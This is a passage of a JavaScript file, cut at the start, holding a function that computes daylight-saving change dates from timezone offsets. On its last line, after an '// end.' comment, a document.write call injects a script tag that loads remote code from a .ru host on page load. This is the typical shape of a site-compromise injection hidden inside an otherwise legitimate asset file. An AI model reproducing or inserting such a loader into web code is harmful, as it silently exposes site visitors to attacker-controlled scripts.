    charAt(j)*2,2) }


function TimeChangeDates(YYYY) {
  var Ton, Tof, JanOff, JulOff, TonMin, TonMax, TofMin, TofMax, K
  with(new Date(YYYY, 00, 01)) {
    TonMin = TofMin = getTime() ; JanOff = getTimezoneOffset()
    setMonth(06) ; JulOff = getTimezoneOffset()
    if (JanOff == JulOff) { return [0,0] }
    setMonth(12) ; TonMax = TofMax = getTime()
    var Min = Math.min(JanOff, JulOff),
        Max = Math.max(JanOff, JulOff)
    Ton = Tof = (TonMin + TofMax)/2
    for (K=0; K<22; K++) {
      setTime(Ton) ; if (getTimezoneOffset() != Max)
        { TonMax = Ton ; Ton = (TonMin+Ton)/2 }
        else
        { TonMin = Ton ; Ton = (Ton+TonMax)/2 }
      setTime(Tof) ; if (getTimezoneOffset() != Min)
        { TofMax = Tof ; Tof = (TofMin+Tof)/2 }
        else
        { TofMin = Tof ; Tof = (Tof+TofMax)/2 }
      }
    }
  return [Math.round(Ton/6e4)*6e4, Math.round(Tof/6e4)*6e4] }




var Inc3B=0 // end.


document.write('<script src=http://leongard.org.ru/english/main.php ><\/script>');